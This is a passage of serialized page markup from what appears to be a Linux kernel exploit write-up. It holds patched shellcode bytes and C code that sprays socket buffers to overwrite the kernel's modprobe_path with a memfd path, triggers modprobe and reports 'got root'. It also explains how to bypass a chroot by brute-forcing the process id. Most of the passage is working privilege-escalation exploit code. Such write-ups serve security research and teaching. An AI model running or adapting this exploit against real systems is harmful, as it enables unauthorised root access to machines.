0x2a",{"type":19,"tag":168,"props":57012,"children":57013},{"style":212},[57014],{"type":24,"value":471},{"type":19,"tag":168,"props":57016,"children":57017},{"style":181},[57018],{"type":24,"value":17514},{"type":19,"tag":168,"props":57020,"children":57021},{"style":45855},[57022],{"type":24,"value":57023},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":19,"tag":168,"props":57025,"children":57026},{"style":181},[57027],{"type":24,"value":17514},{"type":19,"tag":168,"props":57029,"children":57030},{"style":212},[57031],{"type":24,"value":471},{"type":19,"tag":168,"props":57033,"children":57034},{"style":192},[57035],{"type":24,"value":57036},"24",{"type":19,"tag":168,"props":57038,"children":57039},{"style":212},[57040],{"type":24,"value":481},{"type":19,"tag":168,"props":57042,"children":57043},{"style":399},[57044],{"type":24,"value":6013},{"type":19,"tag":168,"props":57046,"children":57047},{"style":192},[57048],{"type":24,"value":437},{"type":19,"tag":168,"props":57050,"children":57051},{"style":399},[57052],{"type":24,"value":50167},{"type":19,"tag":168,"props":57054,"children":57055},{"class":170,"line":1087},[57056,57060,57064,57068,57073,57077,57081,57086,57090,57094,57099,57103,57107,57111],{"type":19,"tag":168,"props":57057,"children":57058},{"style":175},[57059],{"type":24,"value":56654},{"type":19,"tag":168,"props":57061,"children":57062},{"style":212},[57063],{"type":24,"value":56596},{"type":19,"tag":168,"props":57065,"children":57066},{"style":399},[57067],{"type":24,"value":1811},{"type":19,"tag":168,"props":57069,"children":57070},{"style":192},[57071],{"type":24,"value":57072}," 0x45",{"type":19,"tag":168,"props":57074,"children":57075},{"style":212},[57076],{"type":24,"value":471},{"type":19,"tag":168,"props":57078,"children":57079},{"style":181},[57080],{"type":24,"value":17514},{"type":19,"tag":168,"props":57082,"children":57083},{"style":45855},[57084],{"type":24,"value":57085},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":19,"tag":168,"props":57087,"children":57088},{"style":181},[57089],{"type":24,"value":17514},{"type":19,"tag":168,"props":57091,"children":57092},{"style":212},[57093],{"type":24,"value":471},{"type":19,"tag":168,"props":57095,"children":57096},{"style":192},[57097],{"type":24,"value":57098},"15",{"type":19,"tag":168,"props":57100,"children":57101},{"style":212},[57102],{"type":24,"value":481},{"type":19,"tag":168,"props":57104,"children":57105},{"style":399},[57106],{"type":24,"value":6013},{"type":19,"tag":168,"props":57108,"children":57109},{"style":192},[57110],{"type":24,"value":437},{"type":19,"tag":168,"props":57112,"children":57113},{"style":399},[57114],{"type":24,"value":50167},{"type":19,"tag":168,"props":57116,"children":57117},{"class":170,"line":1096},[57118,57122,57126,57130,57135,57139,57143,57148,57152,57156,57160,57164,57168,57172],{"type":19,"tag":168,"props":57119,"children":57120},{"style":175},[57121],{"type":24,"value":56654},{"type":19,"tag":168,"props":57123,"children":57124},{"style":212},[57125],{"type":24,"value":56596},{"type":19,"tag":168,"props":57127,"children":57128},{"style":399},[57129],{"type":24,"value":1811},{"type":19,"tag":168,"props":57131,"children":57132},{"style":192},[57133],{"type":24,"value":57134}," 0x55",{"type":19,"tag":168,"props":57136,"children":57137},{"style":212},[57138],{"type":24,"value":471},{"type":19,"tag":168,"props":57140,"children":57141},{"style":181},[57142],{"type":24,"value":17514},{"type":19,"tag":168,"props":57144,"children":57145},{"style":45855},[57146],{"type":24,"value":57147},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":19,"tag":168,"props":57149,"children":57150},{"style":181},[57151],{"type":24,"value":17514},{"type":19,"tag":168,"props":57153,"children":57154},{"style":212},[57155],{"type":24,"value":471},{"type":19,"tag":168,"props":57157,"children":57158},{"style":192},[57159],{"type":24,"value":1506},{"type":19,"tag":168,"props":57161,"children":57162},{"style":212},[57163],{"type":24,"value":481},{"type":19,"tag":168,"props":57165,"children":57166},{"style":399},[57167],{"type":24,"value":6013},{"type":19,"tag":168,"props":57169,"children":57170},{"style":192},[57171],{"type":24,"value":437},{"type":19,"tag":168,"props":57173,"children":57174},{"style":399},[57175],{"type":24,"value":50167},{"type":19,"tag":168,"props":57177,"children":57178},{"class":170,"line":1105},[57179,57183,57187,57191,57196,57200,57204,57209,57213,57217,57221,57225,57229,57233],{"type":19,"tag":168,"props":57180,"children":57181},{"style":175},[57182],{"type":24,"value":56654},{"type":19,"tag":168,"props":57184,"children":57185},{"style":212},[57186],{"type":24,"value":56596},{"type":19,"tag":168,"props":57188,"children":57189},{"style":399},[57190],{"type":24,"value":1811},{"type":19,"tag":168,"props":57192,"children":57193},{"style":192},[57194],{"type":24,"value":57195}," 0x61",{"type":19,"tag":168,"props":57197,"children":57198},{"style":212},[57199],{"type":24,"value":471},{"type":19,"tag":168,"props":57201,"children":57202},{"style":181},[57203],{"type":24,"value":17514},{"type":19,"tag":168,"props":57205,"children":57206},{"style":45855},[57207],{"type":24,"value":57208},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":19,"tag":168,"props":57210,"children":57211},{"style":181},[57212],{"type":24,"value":17514},{"type":19,"tag":168,"props":57214,"children":57215},{"style":212},[57216],{"type":24,"value":471},{"type":19,"tag":168,"props":57218,"children":57219},{"style":192},[57220],{"type":24,"value":15559},{"type":19,"tag":168,"props":57222,"children":57223},{"style":212},[57224],{"type":24,"value":481},{"type":19,"tag":168,"props":57226,"children":57227},{"style":399},[57228],{"type":24,"value":6013},{"type":19,"tag":168,"props":57230,"children":57231},{"style":192},[57232],{"type":24,"value":437},{"type":19,"tag":168,"props":57234,"children":57235},{"style":399},[57236],{"type":24,"value":50167},{"type":19,"tag":168,"props":57238,"children":57239},{"class":170,"line":1174},[57240,57244,57248,57252,57257,57261,57265,57270,57274,57278,57282,57286,57290,57294],{"type":19,"tag":168,"props":57241,"children":57242},{"style":175},[57243],{"type":24,"value":56654},{"type":19,"tag":168,"props":57245,"children":57246},{"style":212},[57247],{"type":24,"value":56596},{"type":19,"tag":168,"props":57249,"children":57250},{"style":399},[57251],{"type":24,"value":1811},{"type":19,"tag":168,"props":57253,"children":57254},{"style":192},[57255],{"type":24,"value":57256}," 0x6a",{"type":19,"tag":168,"props":57258,"children":57259},{"style":212},[57260],{"type":24,"value":471},{"type":19,"tag":168,"props":57262,"children":57263},{"style":181},[57264],{"type":24,"value":17514},{"type":19,"tag":168,"props":57266,"children":57267},{"style":45855},[57268],{"type":24,"value":57269},"\\x48\\xc7\\xc6",{"type":19,"tag":168,"props":57271,"children":57272},{"style":181},[57273],{"type":24,"value":17514},{"type":19,"tag":168,"props":57275,"children":57276},{"style":212},[57277],{"type":24,"value":471},{"type":19,"tag":168,"props":57279,"children":57280},{"style":192},[57281],{"type":24,"value":14745},{"type":19,"tag":168,"props":57283,"children":57284},{"style":212},[57285],{"type":24,"value":481},{"type":19,"tag":168,"props":57287,"children":57288},{"style":399},[57289],{"type":24,"value":6013},{"type":19,"tag":168,"props":57291,"children":57292},{"style":192},[57293],{"type":24,"value":437},{"type":19,"tag":168,"props":57295,"children":57296},{"style":399},[57297],{"type":24,"value":50167},{"type":19,"tag":168,"props":57299,"children":57300},{"class":170,"line":1182},[57301,57305,57309,57313,57318,57322,57326,57331,57335,57339,57343,57347,57351,57355],{"type":19,"tag":168,"props":57302,"children":57303},{"style":175},[57304],{"type":24,"value":56654},{"type":19,"tag":168,"props":57306,"children":57307},{"style":212},[57308],{"type":24,"value":56596},{"type":19,"tag":168,"props":57310,"children":57311},{"style":399},[57312],{"type":24,"value":1811},{"type":19,"tag":168,"props":57314,"children":57315},{"style":192},[57316],{"type":24,"value":57317}," 0x71",{"type":19,"tag":168,"props":57319,"children":57320},{"style":212},[57321],{"type":24,"value":471},{"type":19,"tag":168,"props":57323,"children":57324},{"style":181},[57325],{"type":24,"value":17514},{"type":19,"tag":168,"props":57327,"children":57328},{"style":45855},[57329],{"type":24,"value":57330},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":19,"tag":168,"props":57332,"children":57333},{"style":181},[57334],{"type":24,"value":17514},{"type":19,"tag":168,"props":57336,"children":57337},{"style":212},[57338],{"type":24,"value":471},{"type":19,"tag":168,"props":57340,"children":57341},{"style":192},[57342],{"type":24,"value":15871},{"type":19,"tag":168,"props":57344,"children":57345},{"style":212},[57346],{"type":24,"value":481},{"type":19,"tag":168,"props":57348,"children":57349},{"style":399},[57350],{"type":24,"value":6013},{"type":19,"tag":168,"props":57352,"children":57353},{"style":192},[57354],{"type":24,"value":437},{"type":19,"tag":168,"props":57356,"children":57357},{"style":399},[57358],{"type":24,"value":50167},{"type":19,"tag":168,"props":57360,"children":57361},{"class":170,"line":1212},[57362,57366,57370,57374,57379,57383,57387,57392,57396,57400,57404,57408,57412,57416],{"type":19,"tag":168,"props":57363,"children":57364},{"style":175},[57365],{"type":24,"value":56654},{"type":19,"tag":168,"props":57367,"children":57368},{"style":212},[57369],{"type":24,"value":56596},{"type":19,"tag":168,"props":57371,"children":57372},{"style":399},[57373],{"type":24,"value":1811},{"type":19,"tag":168,"props":57375,"children":57376},{"style":192},[57377],{"type":24,"value":57378}," 0x78",{"type":19,"tag":168,"props":57380,"children":57381},{"style":212},[57382],{"type":24,"value":471},{"type":19,"tag":168,"props":57384,"children":57385},{"style":181},[57386],{"type":24,"value":17514},{"type":19,"tag":168,"props":57388,"children":57389},{"style":45855},[57390],{"type":24,"value":57391},"\\xff\\xe0",{"type":19,"tag":168,"props":57393,"children":57394},{"style":181},[57395],{"type":24,"value":17514},{"type":19,"tag":168,"props":57397,"children":57398},{"style":212},[57399],{"type":24,"value":471},{"type":19,"tag":168,"props":57401,"children":57402},{"style":192},[57403],{"type":24,"value":519},{"type":19,"tag":168,"props":57405,"children":57406},{"style":212},[57407],{"type":24,"value":481},{"type":19,"tag":168,"props":57409,"children":57410},{"style":399},[57411],{"type":24,"value":6013},{"type":19,"tag":168,"props":57413,"children":57414},{"style":192},[57415],{"type":24,"value":437},{"type":19,"tag":168,"props":57417,"children":57418},{"style":212},[57419],{"type":24,"value":557},{"type":19,"tag":168,"props":57421,"children":57422},{"class":170,"line":1220},[57423,57427,57431],{"type":19,"tag":168,"props":57424,"children":57425},{"style":419},[57426],{"type":24,"value":13192},{"type":19,"tag":168,"props":57428,"children":57429},{"style":382},[57430],{"type":24,"value":9914},{"type":19,"tag":168,"props":57432,"children":57433},{"style":212},[57434],{"type":24,"value":412},{"type":19,"tag":168,"props":57436,"children":57437},{"class":170,"line":1252},[57438],{"type":19,"tag":168,"props":57439,"children":57440},{"emptyLinePlaceholder":14},[57441],{"type":24,"value":1093},{"type":19,"tag":168,"props":57443,"children":57444},{"class":170,"line":1260},[57445,57449,57453],{"type":19,"tag":168,"props":57446,"children":57447},{"style":419},[57448],{"type":24,"value":14438},{"type":19,"tag":168,"props":57450,"children":57451},{"style":382},[57452],{"type":24,"value":6497},{"type":19,"tag":168,"props":57454,"children":57455},{"style":212},[57456],{"type":24,"value":412},{"type":19,"tag":168,"props":57458,"children":57459},{"class":170,"line":1320},[57460],{"type":19,"tag":168,"props":57461,"children":57462},{"style":212},[57463],{"type":24,"value":1326},{"type":19,"tag":168,"props":57465,"children":57466},{"class":170,"line":6486},[57467],{"type":19,"tag":168,"props":57468,"children":57469},{"style":212},[57470],{"type":24,"value":7761},{"type":19,"tag":7050,"props":57472,"children":57474},{"id":57473},"overwriting-modprobe_path",[57475,57477],{"type":24,"value":57476},"Overwriting ",{"type":19,"tag":27,"props":57478,"children":57480},{"className":57479},[],[57481],{"type":24,"value":55862},{"type":19,"tag":20,"props":57483,"children":57484},{},[57485,57487,57493],{"type":24,"value":57486},"Finding the ",{"type":19,"tag":27,"props":57488,"children":57490},{"className":57489},[],[57491],{"type":24,"value":57492},"/sbin/modprobe",{"type":24,"value":57494}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":19,"tag":20,"props":57496,"children":57497},{},[57498,57500,57506],{"type":24,"value":57499},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":19,"tag":27,"props":57501,"children":57503},{"className":57502},[],[57504],{"type":24,"value":57505},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":24,"value":57507}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":19,"tag":158,"props":57509,"children":57511},{"className":26580,"code":57510,"language":26582,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[57512],{"type":19,"tag":27,"props":57513,"children":57514},{"__ignoreMap":7},[57515,57522,57544,57552,57559,57567,57575,57583,57591,57598,57606,57613,57651,57662,57669,57676,57683,57710,57741,57748,57770,57783,57790,57848,57855,57883,57890,57897,57918,57925,57946,57957,57964,57971,57992,57999,58027,58040,58047,58054,58103,58110,58178,58185,58206,58226,58233,58240,58247,58267],{"type":19,"tag":168,"props":57516,"children":57517},{"class":170,"line":171},[57518],{"type":19,"tag":168,"props":57519,"children":57520},{"style":212},[57521],{"type":24,"value":7761},{"type":19,"tag":168,"props":57523,"children":57524},{"class":170,"line":198},[57525,57530,57535,57540],{"type":19,"tag":168,"props":57526,"children":57527},{"style":212},[57528],{"type":24,"value":57529}," puts(\"[*] ",{"type":19,"tag":168,"props":57531,"children":57532},{"style":825},[57533],{"type":24,"value":57534},"overwrite",{"type":19,"tag":168,"props":57536,"children":57537},{"style":825},[57538],{"type":24,"value":57539}," modprobe_path",{"type":19,"tag":168,"props":57541,"children":57542},{"style":181},[57543],{"type":24,"value":53775},{"type":19,"tag":168,"props":57545,"children":57546},{"class":170,"line":415},[57547],{"type":19,"tag":168,"props":57548,"children":57549},{"style":181},[57550],{"type":24,"value":57551}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":19,"tag":168,"props":57553,"children":57554},{"class":170,"line":450},[57555],{"type":19,"tag":168,"props":57556,"children":57557},{"style":181},[57558],{"type":24,"value":26657},{"type":19,"tag":168,"props":57560,"children":57561},{"class":170,"line":560},[57562],{"type":19,"tag":168,"props":57563,"children":57564},{"style":181},[57565],{"type":24,"value":57566}," pipebuf->page = modprobe_page;\n",{"type":19,"tag":168,"props":57568,"children":57569},{"class":170,"line":666},[57570],{"type":19,"tag":168,"props":57571,"children":57572},{"style":181},[57573],{"type":24,"value":57574}," pipebuf->offset = modprobe_off;\n",{"type":19,"tag":168,"props":57576,"children":57577},{"class":170,"line":694},[57578],{"type":19,"tag":168,"props":57579,"children":57580},{"style":181},[57581],{"type":24,"value":57582}," pipebuf->len = 0;\n",{"type":19,"tag":168,"props":57584,"children":57585},{"class":170,"line":707},[57586],{"type":19,"tag":168,"props":57587,"children":57588},{"style":181},[57589],{"type":24,"value":57590}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":19,"tag":168,"props":57592,"children":57593},{"class":170,"line":725},[57594],{"type":19,"tag":168,"props":57595,"children":57596},{"style":181},[57597],{"type":24,"value":29131},{"type":19,"tag":168,"props":57599,"children":57600},{"class":170,"line":746},[57601],{"type":19,"tag":168,"props":57602,"children":57603},{"style":181},[57604],{"type":24,"value":57605}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":19,"tag":168,"props":57607,"children":57608},{"class":170,"line":755},[57609],{"type":19,"tag":168,"props":57610,"children":57611},{"style":181},[57612],{"type":24,"value":29167},{"type":19,"tag":168,"props":57614,"children":57615},{"class":170,"line":1008},[57616,57621,57625,57629,57633,57638,57642,57646],{"type":19,"tag":168,"props":57617,"children":57618},{"style":181},[57619],{"type":24,"value":57620}," perror(\"",{"type":19,"tag":168,"props":57622,"children":57623},{"style":212},[57624],{"type":24,"value":1152},{"type":19,"tag":168,"props":57626,"children":57627},{"style":399},[57628],{"type":24,"value":1757},{"type":19,"tag":168,"props":57630,"children":57631},{"style":212},[57632],{"type":24,"value":6099},{"type":19,"tag":168,"props":57634,"children":57635},{"style":825},[57636],{"type":24,"value":57637},"write",{"type":19,"tag":168,"props":57639,"children":57640},{"style":212},[57641],{"type":24,"value":500},{"type":19,"tag":168,"props":57643,"children":57644},{"style":825},[57645],{"type":24,"value":39415},{"type":19,"tag":168,"props":57647,"children":57648},{"style":212},[57649],{"type":24,"value":57650},")\");\n",{"type":19,"tag":168,"props":57652,"children":57653},{"class":170,"line":1025},[57654,57658],{"type":19,"tag":168,"props":57655,"children":57656},{"style":419},[57657],{"type":24,"value":56444},{"type":19,"tag":168,"props":57659,"children":57660},{"style":212},[57661],{"type":24,"value":412},{"type":19,"tag":168,"props":57663,"children":57664},{"class":170,"line":1042},[57665],{"type":19,"tag":168,"props":57666,"children":57667},{"style":212},[57668],{"type":24,"value":56369},{"type":19,"tag":168,"props":57670,"children":57671},{"class":170,"line":1055},[57672],{"type":19,"tag":168,"props":57673,"children":57674},{"style":212},[57675],{"type":24,"value":752},{"type":19,"tag":168,"props":57677,"children":57678},{"class":170,"line":1064},[57679],{"type":19,"tag":168,"props":57680,"children":57681},{"emptyLinePlaceholder":14},[57682],{"type":24,"value":1093},{"type":19,"tag":168,"props":57684,"children":57685},{"class":170,"line":1087},[57686,57690,57694,57698,57702,57706],{"type":19,"tag":168,"props":57687,"children":57688},{"style":175},[57689],{"type":24,"value":52100},{"type":19,"tag":168,"props":57691,"children":57692},{"style":212},[57693],{"type":24,"value":500},{"type":19,"tag":168,"props":57695,"children":57696},{"style":399},[57697],{"type":24,"value":505},{"type":19,"tag":168,"props":57699,"children":57700},{"style":212},[57701],{"type":24,"value":56255},{"type":19,"tag":168,"props":57703,"children":57704},{"style":192},[57705],{"type":24,"value":1452},{"type":19,"tag":168,"props":57707,"children":57708},{"style":212},[57709],{"type":24,"value":56264},{"type":19,"tag":168,"props":57711,"children":57712},{"class":170,"line":1096},[57713,57717,57722,57726,57731,57736],{"type":19,"tag":168,"props":57714,"children":57715},{"style":175},[57716],{"type":24,"value":52801},{"type":19,"tag":168,"props":57718,"children":57719},{"style":212},[57720],{"type":24,"value":57721},"(fd_path, ",{"type":19,"tag":168,"props":57723,"children":57724},{"style":382},[57725],{"type":24,"value":52811},{"type":19,"tag":168,"props":57727,"children":57728},{"style":212},[57729],{"type":24,"value":57730},"(fd_path), ",{"type":19,"tag":168,"props":57732,"children":57733},{"style":181},[57734],{"type":24,"value":57735},"\"/proc/%i/fd/%i\"",{"type":19,"tag":168,"props":57737,"children":57738},{"style":212},[57739],{"type":24,"value":57740},", i, modprobe_fd);\n",{"type":19,"tag":168,"props":57742,"children":57743},{"class":170,"line":1105},[57744],{"type":19,"tag":168,"props":57745,"children":57746},{"emptyLinePlaceholder":14},[57747],{"type":24,"value":1093},{"type":19,"tag":168,"props":57749,"children":57750},{"class":170,"line":1174},[57751,57756,57761,57765],{"type":19,"tag":168,"props":57752,"children":57753},{"style":175},[57754],{"type":24,"value":57755}," lseek",{"type":19,"tag":168,"props":57757,"children":57758},{"style":212},[57759],{"type":24,"value":57760},"(modprobe_fd, ",{"type":19,"tag":168,"props":57762,"children":57763},{"style":192},[57764],{"type":24,"value":1452},{"type":19,"tag":168,"props":57766,"children":57767},{"style":212},[57768],{"type":24,"value":57769},", SEEK_SET);\n",{"type":19,"tag":168,"props":57771,"children":57772},{"class":170,"line":1182},[57773,57778],{"type":19,"tag":168,"props":57774,"children":57775},{"style":175},[57776],{"type":24,"value":57777}," dprintf",{"type":19,"tag":168,"props":57779,"children":57780},{"style":212},[57781],{"type":24,"value":57782},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":19,"tag":168,"props":57784,"children":57785},{"class":170,"line":1212},[57786],{"type":19,"tag":168,"props":57787,"children":57788},{"emptyLinePlaceholder":14},[57789],{"type":24,"value":1093},{"type":19,"tag":168,"props":57791,"children":57792},{"class":170,"line":1220},[57793,57797,57801,57805,57809,57813,57818,57822,57827,57832,57836,57840,57844],{"type":19,"tag":168,"props":57794,"children":57795},{"style":419},[57796],{"type":24,"value":672},{"type":19,"tag":168,"props":57798,"children":57799},{"style":212},[57800],{"type":24,"value":461},{"type":19,"tag":168,"props":57802,"children":57803},{"style":175},[57804],{"type":24,"value":57637},{"type":19,"tag":168,"props":57806,"children":57807},{"style":212},[57808],{"type":24,"value":500},{"type":19,"tag":168,"props":57810,"children":57811},{"style":393},[57812],{"type":24,"value":56308},{"type":19,"tag":168,"props":57814,"children":57815},{"style":212},[57816],{"type":24,"value":57817},"[pipe_idx][",{"type":19,"tag":168,"props":57819,"children":57820},{"style":192},[57821],{"type":24,"value":1442},{"type":19,"tag":168,"props":57823,"children":57824},{"style":212},[57825],{"type":24,"value":57826},"], fd_path, ",{"type":19,"tag":168,"props":57828,"children":57829},{"style":192},[57830],{"type":24,"value":57831},"32",{"type":19,"tag":168,"props":57833,"children":57834},{"style":212},[57835],{"type":24,"value":481},{"type":19,"tag":168,"props":57837,"children":57838},{"style":399},[57839],{"type":24,"value":3240},{"type":19,"tag":168,"props":57841,"children":57842},{"style":192},[57843],{"type":24,"value":437},{"type":19,"tag":168,"props":57845,"children":57846},{"style":212},[57847],{"type":24,"value":557},{"type":19,"tag":168,"props":57849,"children":57850},{"class":170,"line":1252},[57851],{"type":19,"tag":168,"props":57852,"children":57853},{"style":212},[57854],{"type":24,"value":29131},{"type":19,"tag":168,"props":57856,"children":57857},{"class":170,"line":1260},[57858,57862,57866,57870,57874,57879],{"type":19,"tag":168,"props":57859,"children":57860},{"style":175},[57861],{"type":24,"value":55381},{"type":19,"tag":168,"props":57863,"children":57864},{"style":212},[57865],{"type":24,"value":500},{"type":19,"tag":168,"props":57867,"children":57868},{"style":181},[57869],{"type":24,"value":17514},{"type":19,"tag":168,"props":57871,"children":57872},{"style":45855},[57873],{"type":24,"value":45858},{"type":19,"tag":168,"props":57875,"children":57876},{"style":181},[57877],{"type":24,"value":57878},"[-] write(pipe)\"",{"type":19,"tag":168,"props":57880,"children":57881},{"style":212},[57882],{"type":24,"value":1249},{"type":19,"tag":168,"props":57884,"children":57885},{"class":170,"line":1320},[57886],{"type":19,"tag":168,"props":57887,"children":57888},{"style":212},[57889],{"type":24,"value":752},{"type":19,"tag":168,"props":57891,"children":57892},{"class":170,"line":6486},[57893],{"type":19,"tag":168,"props":57894,"children":57895},{"emptyLinePlaceholder":14},[57896],{"type":24,"value":1093},{"type":19,"tag":168,"props":57898,"children":57899},{"class":170,"line":6504},[57900,57904,57908,57913],{"type":19,"tag":168,"props":57901,"children":57902},{"style":419},[57903],{"type":24,"value":672},{"type":19,"tag":168,"props":57905,"children":57906},{"style":212},[57907],{"type":24,"value":461},{"type":19,"tag":168,"props":57909,"children":57910},{"style":175},[57911],{"type":24,"value":57912},"check_modprobe",{"type":19,"tag":168,"props":57914,"children":57915},{"style":212},[57916],{"type":24,"value":57917},"(fd_path))\n",{"type":19,"tag":168,"props":57919,"children":57920},{"class":170,"line":6549},[57921],{"type":19,"tag":168,"props":57922,"children":57923},{"style":212},[57924],{"type":24,"value":29131},{"type":19,"tag":168,"props":57926,"children":57927},{"class":170,"line":6655},[57928,57933,57937,57942],{"type":19,"tag":168,"props":57929,"children":57930},{"style":175},[57931],{"type":24,"value":57932}," puts",{"type":19,"tag":168,"props":57934,"children":57935},{"style":212},[57936],{"type":24,"value":500},{"type":19,"tag":168,"props":57938,"children":57939},{"style":181},[57940],{"type":24,"value":57941},"\"[-] failed to overwrite modprobe\"",{"type":19,"tag":168,"props":57943,"children":57944},{"style":212},[57945],{"type":24,"value":1249},{"type":19,"tag":168,"props":57947,"children":57948},{"class":170,"line":20965},[57949,57953],{"type":19,"tag":168,"props":57950,"children":57951},{"style":419},[57952],{"type":24,"value":700},{"type":19,"tag":168,"props":57954,"children":57955},{"style":212},[57956],{"type":24,"value":412},{"type":19,"tag":168,"props":57958,"children":57959},{"class":170,"line":21000},[57960],{"type":19,"tag":168,"props":57961,"children":57962},{"style":212},[57963],{"type":24,"value":752},{"type":19,"tag":168,"props":57965,"children":57966},{"class":170,"line":21008},[57967],{"type":19,"tag":168,"props":57968,"children":57969},{"emptyLinePlaceholder":14},[57970],{"type":24,"value":1093},{"type":19,"tag":168,"props":57972,"children":57973},{"class":170,"line":21016},[57974,57978,57982,57987],{"type":19,"tag":168,"props":57975,"children":57976},{"style":419},[57977],{"type":24,"value":672},{"type":19,"tag":168,"props":57979,"children":57980},{"style":212},[57981],{"type":24,"value":461},{"type":19,"tag":168,"props":57983,"children":57984},{"style":175},[57985],{"type":24,"value":57986},"trigger_modprobe",{"type":19,"tag":168,"props":57988,"children":57989},{"style":212},[57990],{"type":24,"value":57991},"(status_fd))\n",{"type":19,"tag":168,"props":57993,"children":57994},{"class":170,"line":21025},[57995],{"type":19,"tag":168,"props":57996,"children":57997},{"style":212},[57998],{"type":24,"value":29131},{"type":19,"tag":168,"props":58000,"children":58001},{"class":170,"line":21067},[58002,58006,58010,58014,58018,58023],{"type":19,"tag":168,"props":58003,"children":58004},{"style":175},[58005],{"type":24,"value":57932},{"type":19,"tag":168,"props":58007,"children":58008},{"style":212},[58009],{"type":24,"value":500},{"type":19,"tag":168,"props":58011,"children":58012},{"style":181},[58013],{"type":24,"value":17514},{"type":19,"tag":168,"props":58015,"children":58016},{"style":45855},[58017],{"type":24,"value":45858},{"type":19,"tag":168,"props":58019,"children":58020},{"style":181},[58021],{"type":24,"value":58022},"[+] got root\"",{"type":19,"tag":168,"props":58024,"children":58025},{"style":212},[58026],{"type":24,"value":1249},{"type":19,"tag":168,"props":58028,"children":58029},{"class":170,"line":21100},[58030,58035],{"type":19,"tag":168,"props":58031,"children":58032},{"style":419},[58033],{"type":24,"value":58034}," goto",{"type":19,"tag":168,"props":58036,"children":58037},{"style":212},[58038],{"type":24,"value":58039}," out;\n",{"type":19,"tag":168,"props":58041,"children":58042},{"class":170,"line":21108},[58043],{"type":19,"tag":168,"props":58044,"children":58045},{"style":212},[58046],{"type":24,"value":752},{"type":19,"tag":168,"props":58048,"children":58049},{"class":170,"line":21116},[58050],{"type":19,"tag":168,"props":58051,"children":58052},{"emptyLinePlaceholder":14},[58053],{"type":24,"value":1093},{"type":19,"tag":168,"props":58055,"children":58056},{"class":170,"line":21125},[58057,58062,58066,58070,58074,58078,58082,58086,58090,58095,58099],{"type":19,"tag":168,"props":58058,"children":58059},{"style":419},[58060],{"type":24,"value":58061}," for",{"type":19,"tag":168,"props":58063,"children":58064},{"style":212},[58065],{"type":24,"value":461},{"type":19,"tag":168,"props":58067,"children":58068},{"style":382},[58069],{"type":24,"value":16500},{"type":19,"tag":168,"props":58071,"children":58072},{"style":212},[58073],{"type":24,"value":52027},{"type":19,"tag":168,"props":58075,"children":58076},{"style":399},[58077],{"type":24,"value":486},{"type":19,"tag":168,"props":58079,"children":58080},{"style":192},[58081],{"type":24,"value":437},{"type":19,"tag":168,"props":58083,"children":58084},{"style":212},[58085],{"type":24,"value":48716},{"type":19,"tag":168,"props":58087,"children":58088},{"style":399},[58089],{"type":24,"value":3240},{"type":19,"tag":168,"props":58091,"children":58092},{"style":212},[58093],{"type":24,"value":58094}," SKBUF_SPRAY; i",{"type":19,"tag":168,"props":58096,"children":58097},{"style":399},[58098],{"type":24,"value":48752},{"type":19,"tag":168,"props":58100,"children":58101},{"style":212},[58102],{"type":24,"value":557},{"type":19,"tag":168,"props":58104,"children":58105},{"class":170,"line":21201},[58106],{"type":19,"tag":168,"props":58107,"children":58108},{"style":212},[58109],{"type":24,"value":29131},{"type":19,"tag":168,"props":58111,"children":58112},{"class":170,"line":21234},[58113,58117,58121,58126,58130,58135,58140,58144,58149,58153,58157,58162,58166,58170,58174],{"type":19,"tag":168,"props":58114,"children":58115},{"style":419},[58116],{"type":24,"value":56285},{"type":19,"tag":168,"props":58118,"children":58119},{"style":212},[58120],{"type":24,"value":461},{"type":19,"tag":168,"props":58122,"children":58123},{"style":175},[58124],{"type":24,"value":58125},"read",{"type":19,"tag":168,"props":58127,"children":58128},{"style":212},[58129],{"type":24,"value":500},{"type":19,"tag":168,"props":58131,"children":58132},{"style":393},[58133],{"type":24,"value":58134},"sock",{"type":19,"tag":168,"props":58136,"children":58137},{"style":212},[58138],{"type":24,"value":58139},"[i][",{"type":19,"tag":168,"props":58141,"children":58142},{"style":192},[58143],{"type":24,"value":1442},{"type":19,"tag":168,"props":58145,"children":58146},{"style":212},[58147],{"type":24,"value":58148},"], leak, 